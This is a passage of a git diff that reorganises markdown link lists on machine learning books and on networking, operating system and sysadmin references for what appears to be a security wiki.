Learning](https://www.ics.uci.edu/~welling/teaching/ICS273Afall11/IntroMLBook.pdf) +* [A Selective Overview of Deep Learning](https://arxiv.org/abs/1904.05526) - Fan, Ma, and Zhong. +* [Algorithms for Reinforcement Learning](https://sites.ualberta.ca/~szepesva/papers/RLAlgsInMDPs.pdf) - Csaba Szepesvari. +* [An Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) - Gareth James, Daniela Witten, Trevor Hastie, and Robert Tibshirani. * [Bayesian Reasoning and Machine Learning](http://web4.cs.ucl.ac.uk/staff/D.Barber/pmwiki/pmwiki.php?n=Brml.HomePage) - - - -* [Deep Learning](http://www.deeplearningbook.org) - Ian Goodfellow, Yoshua Bengio and Aaron Courville - - - -* [Deep Learning for Coders with Fastai and PyTorch](https://github.com/fastai/fastbook) - Jeremy Howard, Sylvain Gugger (Jupyter Notebooks) - - - -* [Deep Learning with PyTorch](https://pytorch.org/assets/deep-learning/Deep-Learning-with-PyTorch.pdf) - Eli Stevens, Luca Antiga, Thomas Viehmann (PDF) - - - +* [Deep Learning](http://www.deeplearningbook.org) - Ian Goodfellow, Yoshua Bengio, and Aaron Courville. +* [Deep Learning for Coders with fastai and PyTorch](https://github.com/fastai/fastbook) +* [Deep Learning with PyTorch](https://pytorch.org/assets/deep-learning/Deep-Learning-with-PyTorch.pdf) * [Dive into Deep Learning](http://d2l.ai) - - - -* [Explorations in Parallel Distributed Processing: A Handbook of Models, Programs, and Exercises](https://web.stanford.edu/group/pdplab/pdphandbook) - James L. McClelland - - - -* [Foundations of Machine Learning, Second Edition](https://mitpress.ublish.com/ereader/7093/?preview=#page/Cover) - Mehryar Mohri, Afshin Rostamizadeh, Ameet Talwalkar - - - -* [Free and Open Machine Learning](https://freeandopenmachinelearning.readthedocs.io/en/latest/index.html) - Maikel Mardjan - - - +* [Explorations in Parallel Distributed Processing](https://web.stanford.edu/group/pdplab/pdphandbook) +* [Foundations of Machine Learning, Second Edition](https://mitpress.ublish.com/ereader/7093/?preview=#page/Cover) +* [Free and Open Machine Learning](https://freeandopenmachinelearning.readthedocs.io/en/latest/index.html) * [Gaussian Processes for Machine Learning](http://www.gaussianprocess.org/gpml/) - - - -* [IBM Machine Learning for Dummies](https://www.ibm.com/downloads/cas/GB8ZMQZ3) - Judith Hurwitz, Daniel Kirsch - - - +* [IBM Machine Learning for Dummies](https://www.ibm.com/downloads/cas/GB8ZMQZ3) * [Information Theory, Inference, and Learning Algorithms](http://www.inference.phy.cam.ac.uk/itila/) - - - -* [Interpretable Machine Learning](https://christophm.github.io/interpretable-ml-book/) - Christoph Molnar - - - -* [Introduction to CNTK Succinctly](https://www.syncfusion.com/ebooks/cntk\_succinctly) - James McCaffrey - - - -* [Introduction to Machine Learning](http://arxiv.org/abs/0904.3664v1) - Amnon Shashua - - - -* [Keras Succinctly](https://www.syncfusion.com/ebooks/keras-succinctly) - James McCaffrey - - - -* [Learn Tensorflow](https://bitbucket.org/hrojas/learn-tensorflow) - Jupyter Notebooks - - - -* [Learning Deep Architectures for AI](https://mila.quebec/wp-content/uploads/2019/08/TR1312.pdf) (PDF) - - - -* [Machine Learning](http://www.intechopen.com/books/machine\_learning) - - - -* [Machine Learning for Data Streams](https://moa.cms.waikato.ac.nz/book-html/) - Albert Bifet, Ricard Gavaldà, Geoff Holmes, Bernhard Pfahringer - - - -* [Machine Learning from Scratch](https://dafriedman97.github.io/mlbook/content/introduction.html) - Danny Friedman - - - -* [Machine Learning, Neural and Statistical Classification](http://www1.maths.leeds.ac.uk/\~charles/statlog/) - - - -* [Mathematics for Machine Learning](https://gwthomas.github.io/docs/math4ml.pdf) - Garrett Thomas (PDF) - - - -* [Mathematics for Machine Learning](https://mml-book.github.io) - Marc Peter Deisenroth, A Aldo Faisal, and Cheng Soon Ong - - - +* [Interpretable Machine Learning](https://christophm.github.io/interpretable-ml-book/) +* [Introduction to CNTK Succinctly](https://www.syncfusion.com/ebooks/cntk_succinctly) +* [Introduction to Machine Learning](http://arxiv.org/abs/0904.3664v1) +* [Keras Succinctly](https://www.syncfusion.com/ebooks/keras-succinctly) +* [Learn Tensorflow](https://bitbucket.org/hrojas/learn-tensorflow) +* [Learning Deep Architectures for AI](https://mila.quebec/wp-content/uploads/2019/08/TR1312.pdf) +* [Machine Learning](http://www.intechopen.com/books/machine_learning) +* [Machine Learning for Data Streams](https://moa.cms.waikato.ac.nz/book-html/) +* [Machine Learning from Scratch](https://dafriedman97.github.io/mlbook/content/introduction.html) +* [Machine Learning, Neural and Statistical Classification](http://www1.maths.leeds.ac.uk/~charles/statlog/) +* [Mathematics for Machine Learning](https://gwthomas.github.io/docs/math4ml.pdf) - Garrett Thomas. +* [Mathematics for Machine Learning](https://mml-book.github.io) - Marc Peter Deisenroth, A Aldo Faisal, and Cheng Soon Ong. * [Neural Networks and Deep Learning](http://neuralnetworksanddeeplearning.com) - - - -* [Probabilistic Models in the Study of Language](http://idiom.ucsd.edu/\~rlevy/pmsl\_textbook/text.html) (Draft, with R code) - - - -* [Python Machine Learning Projects](https://www.digitalocean.com/community/books/python-machine-learning-projects-a-digitalocean-ebook) - Lisa Tagliaferri and Brian Boucheron (PDF, EPUB, MOBI) - - - -* [Reinforcement Learning: An Introduction](http://incompleteideas.net/book/RLbook2020.pdf) - Richard S. Sutton, Andrew G. Barto (PDF) - - - -* [Speech and Language Processing (3rd Edition Draft)](https://web.stanford.edu/\~jurafsky/slp3/ed3book.pdf) - Daniel Jurafsky, James H. Martin (PDF) - - - -* [The Elements of Statistical Learning](https://web.stanford.edu/\~hastie/ElemStatLearn/) - Trevor Hastie, Robert Tibshirani, and Jerome Friedman - - - -* [The LION Way: Machine Learning plus Intelligent Optimization](https://intelligent-optimization.org/LIONbook/lionbook\_3v0.pdf) - Roberto Battiti, Mauro Brunato (PDF) - - - -* [The Python Game Book](http://thepythongamebook.com/en%3Astart) - - - -* [Top 10 Machine Learning Algorithms Every Engineer Should Know](https://www.dezyre.com/article/top-10-machine-learning-algorithms/202) - Binny Mathews and Omair Aasim - - - -* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/\~shais/UnderstandingMachineLearning) - Shai Shalev-Shwartz, Shai Ben-David +* [Probabilistic Models in the Study of Language](http://idiom.ucsd.edu/~rlevy/pmsl_textbook/text.html) +* [Python Machine Learning Projects](https://www.digitalocean.com/community/books/python-machine-learning-projects-a-digitalocean-ebook) +* [Reinforcement Learning: An Introduction](http://incompleteideas.net/book/RLbook2020.pdf) +* [Speech and Language Processing, 3rd Edition Draft](https://web.stanford.edu/~jurafsky/slp3/ed3book.pdf) +* [The Elements of Statistical Learning](https://web.stanford.edu/~hastie/ElemStatLearn/) +* [The LION Way: Machine Learning plus Intelligent Optimization](https://intelligent-optimization.org/LIONbook/lionbook_3v0.pdf) +* [Top 10 Machine Learning Algorithms Every Engineer Should Know](https://www.dezyre.com/article/top-10-machine-learning-algorithms/202) +* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/~shais/UnderstandingMachineLearning)
diff --git a/yellow-neteng-sysadmin.md b/yellow-neteng-sysadmin.md index 071470f..10b138b 100644 --- a/yellow-neteng-sysadmin.md +++ b/yellow-neteng-sysadmin.md @@ -1,159 +1,164 @@ +--- +description: Networking, protocol, operating system, Windows, Linux, macOS, Active Directory, sysadmin, and infrastructure references for security practitioners. +--- + # Yellow - NetEng/SysAdmin -## **Networking** - -* [https://www.geeksforgeeks.org/computer-network-tutorials/](https://www.geeksforgeeks.org/computer-network-tutorials/) - One of the most detailed and thorough open learning tools for computer science topics on the web. Everything you need to know when learning about networking. -* [The TCP/IP Guide](http://www.tcpipguide.com/free/t\_toc.htm) - The online version of the No Starch Press book published for free. Amazing resource for understanding network connections. - -### **Misc Resources** - -* Network Design and Topology - * [An Introduction to Computer Networks](http://intronetworks.cs.luc.edu) (HTML, PDF, Kindle) - * [Bits, Signals, and Packets: An Introduction to Digital Communications and Networks](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-02-introduction-to-eecs-ii-digital-communication-systems-fall-2012/readings/) - * [Code Connected vol.1](http://hintjens.wdfiles.com/local--files/main%3Afiles/cc1pe.pdf) (PDF) (book on ZeroMQ) - * [Computer Networking : Principles, Protocols and Practice](http://cnp3book.info.ucl.ac.be/1st/html/index.html) (HTML, ePub, PDF, Kindle) - * [Computer Networks: A Systems Approach](https://book.systemsapproach.org) - Larry Peterson and Bruce Davie (HTML, epub, mobi, PDF) - * [The System Design Primer](https://github.com/donnemartin/system-design-primer) - learn how to design large-scale systems. - * [Awesome Scalability](https://github.com/binhnguyennus/awesome-scalability) - best practices in building High Scalability, High Availability, High Stability, and more. - * [Web Architecture 101](https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a) - the basic architecture concepts. -* IP Addressing - * [Understanding IP Addressing: Everything you ever wanted to know](http://pages.di.unipi.it/ricci/501302.pdf) (PDF) - * [IPv6 for IPv4 Experts](https://sites.google.com/site/yartikhiy/home/ipv6book) - Yar Tikhiy (PDF) -* Network Protocols - * [Introduction to HTTP](https://launchschool.com/books/http) - Launch School - * [How HTTPS Works](https://howhttps.works) - DNSimple - * [HTTP Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/http) (PDF, Kindle) (email address _requested_, not required) - * [HTTP2 Explained](http://daniel.haxx.se/http2/) - Daniel Stenberg -* Distributed Systems - * [Distributed systems for fun and profit](http://book.mixu.net/distsys/single-page.html) - * [High-Performance Browser Networking](https://hpbn.co) - Ilya Grigorik - * [Kafka, The definitive Guide](https://assets.confluent.io/m/1b509accf21490f0/original/20170707-EB-Confluent\_Kafka\_Definitive-Guide\_Complete.pdf) - Neha Narkhede (PDF) -* Training - * [https://tryhackme.com/room/introtonetworking](https://tryhackme.com/room/introtonetworking) - -### **IP Range Reference** - -* [Nessus/Tenable Cloud Scanner IP range](https://docs.tenable.com/tenableio/Content/Settings/CloudSensors.htm) -* [GCloud IP range JSON](https://www.gstatic.com/ipranges/cloud.json) -* [Azure Cloud IP Range](https://www.microsoft.com/en-us/download/details.aspx?id=56519) - -## **Operating Systems** - -### **Linux** - -* [https://linuxjourney.com/](https://linuxjourney.com/) - The absolutely best resource for starting your journey to understanding linux -* [https://nostarch.com/linuxbasicsforhackers](https://nostarch.com/linuxbasicsforhackers) - More focused on offensive security, a great book for learning how to use the linux OS. -* [https://www.netacad.com/courses/os-it/ndg-linux-unhatched](https://www.netacad.com/courses/os-it/ndg-linux-unhatched) - Great course from Cisco on Linux basics -* [https://www.roppers.org/courses/computing-fundamentals](https://www.roppers.org/courses/computing-fundamentals) - Great and detailed linux beginners class from Roppers -* TrHackMe - Great CTF style training - * [https://tryhackme.com/room/linuxfundamentalspart1](https://tryhackme.com/room/linuxfundamentalspart1) - * [https://tryhackme.com/room/linuxfundamentalspart2](https://tryhackme.com/room/linuxfundamentalspart2) - * [https://tryhackme.com/room/linuxfundamentalspart3](https://tryhackme.com/room/linuxfundamentalspart3) -* Specific Distributions - * [https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf) -* Book References - * _Operator Handbook: Linux\_Defend - pg. 122_ - * _Operator Handbook: Linux\_Ports- pg. 133_ - * _Operator Handbook: Linux\_Structure - pg. 143_ -* CLI and Scripting - * [https://nostarch.com/tlcl2](https://nostarch.com/tlcl2) - The book to read for understanding your way around the linux command line. Pairs very well with [https://overthewire.org/wargames/bandit/](https://overthewire.org/wargames/bandit/) - * [https://tldp.org/LDP/abs/html/index.html](https://tldp.org/LDP/abs/html/index.html) - Advanced Bash scripting Guide. - -**Bash is the default command line shell for Linux operating systems** +This page is for the fundamentals behind security work: networking, protocols, operating systems, automation, and systems administration. Keep hands-on offensive tradecraft in Red, detection and hardening in Blue, DFIR workflows in DFIR, and courses or labs in Training. + +## Networking + +### Core Learning + +* [GeeksforGeeks computer network tutorials](https://www.geeksforgeeks.org/computer-network-tutorials/) - Broad networking tutorial collection. +* [The TCP/IP Guide](http://www.tcpipguide.com/free/t_toc.htm) - Free online version of the No Starch Press book. +* [An Introduction to Computer Networks](http://intronetworks.cs.luc.edu) - Free networking textbook. +* [Bits, Signals, and Packets](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-02-introduction-to-eecs-ii-digital-communication-systems-fall-2012/readings/) - MIT OpenCourseWare reading. +* [Computer Networking: Principles, Protocols and Practice](http://cnp3book.info.ucl.ac.be/1st/html/index.html) +* [Computer Networks: A Systems Approach](https://book.systemsapproach.org) - Larry Peterson and Bruce Davie. +* [The System Design Primer](https://github.com/donnemartin/system-design-primer) +* [Awesome Scalability](https://github.com/binhnguyennus/awesome-scalability) +* [Web Architecture 101](https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a) + +### IP Addressing and Protocols + +* [Understanding IP Addressing](http://pages.di.unipi.it/ricci/501302.pdf) +* [IPv6 for IPv4 Experts](https://sites.google.com/site/yartikhiy/home/ipv6book) +* [Introduction to HTTP](https://launchschool.com/books/http) +* [How HTTPS Works](https://howhttps.works) +* [HTTP Succinctly](https://www.syncfusion.com/resources/techportal/ebooks/http) +* [HTTP/2 Explained](http://daniel.haxx.se/http2/) + +### Distributed Systems and Infrastructure + +* [Distributed Systems for Fun and Profit](http://book.mixu.net/distsys/single-page.html) +* [High-Performance Browser Networking](https://hpbn.co) +* [Kafka: The Definitive Guide](https://assets.confluent.io/m/1b509accf21490f0/original/20170707-EB-Confluent_Kafka_Definitive-Guide_Complete.pdf) +* [Code Connected vol. 1](http://hintjens.wdfiles.com/local--files/main%3Afiles/cc1pe.pdf) - ZeroMQ. + +### Automation and Infrastructure as Code + +* [Ansible](https://www.ansible.com/) - Configuration management and automation. +* [Terraform](https://www.terraform.io/) - Infrastructure as code. + +### Training + +Training platforms and labs are maintained in the Training section. + +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} + +### IP Range Reference + +* [Tenable Cloud Scanner IP ranges](https://docs.tenable.com/tenableio/Content/Settings/CloudSensors.htm) +* [Google Cloud IP ranges JSON](https://www.gstatic.com/ipranges/cloud.json) +* [Azure IP ranges and service tags](https://www.microsoft.com/en-us/download/details.aspx?id=56519) + +## Operating Systems + +### Linux + +* [Linux Journey](https://linuxjourney.com/) - Introductory Linux learning path. +* [Linux Basics for Hackers](https://nostarch.com/linuxbasicsforhackers) - Offensive-security-focused Linux book. +* [Cisco NDG Linux Unhatched](https://www.netacad.com/courses/os-it/ndg-linux-unhatched) +* [Roppers Computing Fundamentals](https://www.roppers.org/courses/computing-fundamentals) +* [Kali Linux Revealed](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf) +* _Operator Handbook: Linux_Defend - pg. 122_ +* _Operator Handbook: Linux_Ports - pg. 133_ +* _Operator Handbook: Linux_Structure - pg. 143_ + +Linux CLI and Bash references live in Code and CLI. {% content-ref url="code-tools/bash/" %} [bash](code-tools/bash/) {% endcontent-ref %} -### **Windows** +### Windows -* WIndows Components - [https://tinyurl.com/48vexm6h](https://tinyurl.com/48vexm6h) - * _Operator Handbook: Windows\_Structure - pg. 413_ - * _Operator Handbook: Windows\_Ports - pg. 365_ -* Windows Local File Systems - [https://tinyurl.com/35snns2k](https://tinyurl.com/35snns2k) -* Windows Registry - [https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry](https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry) - * [https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77](https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77) - * _Operator Handbook: Windows\_Registry- pg. 370_ -* Windows Administration Tools - [https://tinyurl.com/hwmv4cvt](https://tinyurl.com/hwmv4cvt) -* Microsoft Active Directory - * [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) - * _Cyber Operations: Active Directory - pg.235_ +* [Windows components](https://learn.microsoft.com/en-us/windows/win32/) +* _Operator Handbook: Windows_Structure - pg. 413_ +* _Operator Handbook: Windows_Ports - pg. 365_ +* [Windows local file systems](https://learn.microsoft.com/en-us/windows/win32/fileio/file-systems) +* [Windows registry](https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry) + * [The Defender's Guide to the Windows Registry](https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77) + * _Operator Handbook: Windows_Registry - pg. 370_ +* [Windows administration tools](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands) +* [Active Directory Domain Services overview](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) + +Active Directory attack methodology is maintained in Red Offensive. {% content-ref url="red-offensive/testing-methodology/active-directory.md" %} [active-directory.md](red-offensive/testing-methodology/active-directory.md) {% endcontent-ref %} -* Windows Command Line - * [https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd) - * [https://www.tavi.co.uk/os2pages/cmd.html](https://www.tavi.co.uk/os2pages/cmd.html) - * [https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands) - * _Operator Handbook: Windows\_Commands - pg. 328_ -* Windows Powershell - * [https://docs.microsoft.com/en-us/powershell/](https://docs.microsoft.com/en-us/powershell/) +Windows command-line and PowerShell references live in Code and CLI. {% content-ref url="code-tools/powershell/" %} [powershell](code-tools/powershell/) {% endcontent-ref %} -* Misc - * [https://tryhackme.com/room/windowsfundamentals1xbx](https://tryhackme.com/room/windowsfundamentals1xbx) - * [https://tryhackme.com/room/windowsfundamentals2x0x](https://tryhackme.com/room/windowsfundamentals2x0x) - * [https://tryhackme.com/room/windowsfundamentals3xzx](https://tryhackme.com/room/windowsfundamentals3xzx) - * _Operator Handbook: Windows\_Defend - pg. 334_ - * _Operator Handbook: Windows\_Event\_IDs - pg. 338_ - -### **MacOS** - -* [https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/](https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/) - Mac Basics -* [https://macpaw.com/how-to/new-to-mac](https://macpaw.com/how-to/new-to-mac) - Beginners Guide to Mac -* [https://theevilbit.github.io/posts/getting\_started\_in\_macos\_security/](https://theevilbit.github.io/posts/getting\_started\_in\_macos\_security/) -* _Operator Handbook: MacOS\_Commands - pg.154_ -* _Operator Handbook: MacOS\_Defend - pg.162_ -* _Operator Handbook: MacOS\_Ports - pg.181_ -* _Operator Handbook: MacOS\_Structure - pg.186_ - -### Misc Resources - -* General Computer Science - * [Computer Science from the Bottom Up](http://www.bottomupcs.com) - * [https://www.geeksforgeeks.org](https://www.geeksforgeeks.org) -* OS Basics - * [A short introduction to operating systems (2001)](http://markburgess.org/os/os.pdf) - Mark Burgess (PDF) - * [Think OS: A Brief Introduction to Operating Systems](http://www.greenteapress.com/thinkos/index.html) - Allen B. Downey (PDF) - * [Operating Systems and Middleware](https://gustavus.edu/mcs/max/os-book/) (PDF and LaTeX) - * [Operating Systems: Three Easy Pieces](http://pages.cs.wisc.edu/\~remzi/OSTEP/) (PDF) -* OS Design - * [How to write a simple operating system in assembly language](http://mikeos.sourceforge.net/write-your-own-os.html) - Mike Saunders (HTML) - * [How to Make a Computer Operating System](https://github.com/SamyPesse/How-to-Make-a-Computer-Operating-System) (🚧 _in process_) - * [Project Oberon: The Design of an Operating System, a Compiler, and a Computer](http://people.inf.ethz.ch/wirth/ProjectOberon/index.html) - Niklaus Wirth & Jürg Gutknecht (PDF) - * [The little book about OS development](https://littleosbook.github.io) - Erik Helin, Adam Renberg - * [Writing a Simple Operating System from Scratch](http://www.cs.bham.ac.uk/\~exr/lectures/opsys/10\_11/lectures/os-dev.pdf) - Nick Blundell (PDF) -* FIle Systems - * [Practical File System Design: The Be File System](http://www.nobius.org/\~dbg/practical-file-system-design.pdf) - Dominic Giampaolo (PDF) -* Unix OS Design - * [The Art of Unix Programming](http://catb.org/esr/writings/taoup/html/) - Eric S. Raymond - * [UNIX Application and System Programming, lecture notes](http://www.compsci.hunter.cuny.edu/\~sweiss/course\_materials/unix\_lecture\_notes.php) - Prof. Stewart Weiss (PDF) - * [Xv6, a simple Unix-like teaching operating system](https://pdos.csail.mit.edu/6.828/2012/xv6.html) - -## Cloud +Windows Event ID references and defensive use cases are maintained in Blue/DFIR. + +{% content-ref url="dfir-digital-forensics-and-incident-response/windows-event-logs.md" %} +[windows-event-logs.md](dfir-digital-forensics-and-incident-response/windows-event-logs.md) +{% endcontent-ref %} + +### macOS + +* [All About macOS](https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/) +* [New to Mac guide](https://macpaw.com/how-to/new-to-mac) +* [Getting started in macOS security](https://theevilbit.github.io/posts/getting_started_in_macos_security/) +* _Operator Handbook: MacOS_Commands - pg. 154_ +* _Operator Handbook: MacOS_Defend - pg. 162_ +* _Operator Handbook: MacOS_Ports - pg. 181_ +* _Operator Handbook: MacOS_Structure - pg. 186_ + +macOS DFIR commands are maintained in DFIR. + +{% content-ref url="dfir-digital-forensics-and-incident-response/macos-dfir-commands.md" %} +[macos-dfir-commands.md](dfir-digital-forensics-and-incident-response/macos-dfir-commands.md) +{% endcontent-ref %} + +## Computer Science and OS Design + +* [Computer Science from the Bottom Up](http://www.bottomupcs.com) +* [GeeksforGeeks](https://www.geeksforgeeks.org) +* [A Short Introduction to Operating Systems](http://markburgess.org/os/os.pdf) +* [Think OS](http://www.greenteapress.com/thinkos/index.html) +* [Operating Systems and Middleware](https://gustavus.edu/mcs/max/os-book/) +* [Operating Systems: Three Easy Pieces](http://pages.cs.wisc.edu/~remzi/OSTEP/) +* [How to write a simple operating system in assembly language](http://mikeos.sourceforge.net/write-your-own-os.html) +* [How to Make a Computer Operating System](https://github.com/SamyPesse/How-to-Make-a-Computer-Operating-System) +* [Project Oberon](http://people.inf.ethz.ch/wirth/ProjectOberon/index.html) +* [The Little Book About OS Development](https://littleosbook.github.io) +* [Writing a Simple Operating System from Scratch](http://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf) +* [Practical File System Design: The Be File System](http://www.nobius.org/~dbg/practical-file-system-design.pdf) +* [The Art of Unix Programming](http://catb.org/esr/writings/taoup/html/) +* [UNIX Application and System Programming lecture notes](http://www.compsci.hunter.cuny.edu/~sweiss/course_materials/unix_lecture_notes.php) +* [xv6, a simple Unix-like teaching operating system](https://pdos.csail.mit.edu/6.828/2012/xv6.html) + +## Adjacent Yellow Sections + +### Cloud {% content-ref url="cloud.md" %} [cloud.md](cloud.md) {% endcontent-ref %} -## Containers +### Containers {% content-ref url="containers.md" %} [containers.md](containers.md) {% endcontent-ref %} -## Logging and Security Architecture +### Logging and Security Architecture {% content-ref url="security-logging/" %} [security-logging](security-logging/) {% endcontent-ref %} -## Infrastructure monitoring +### Infrastructure Monitoring -* [Netdata](https://github.com/netdata/netdata) is high-fidelity infrastructure monitoring and troubleshooting, real-time monitoring Agent collects thousands of metrics from systems, hardware, containers, and applications with zero configuration. It runs permanently on all your physical/virtual servers, containers, cloud deployments, and edge/IoT devices, and is perfectly safe to install on your systems mid-incident without any preparation. - * [https://www.netdata.cloud/](https://www.netdata.cloud/) +* [Netdata](https://github.com/netdata/netdata) - Real-time infrastructure monitoring and troubleshooting for systems, hardware, containers, applications, cloud deployments, and edge/IoT devices. + * [Netdata Cloud](https://www.netdata.cloud/)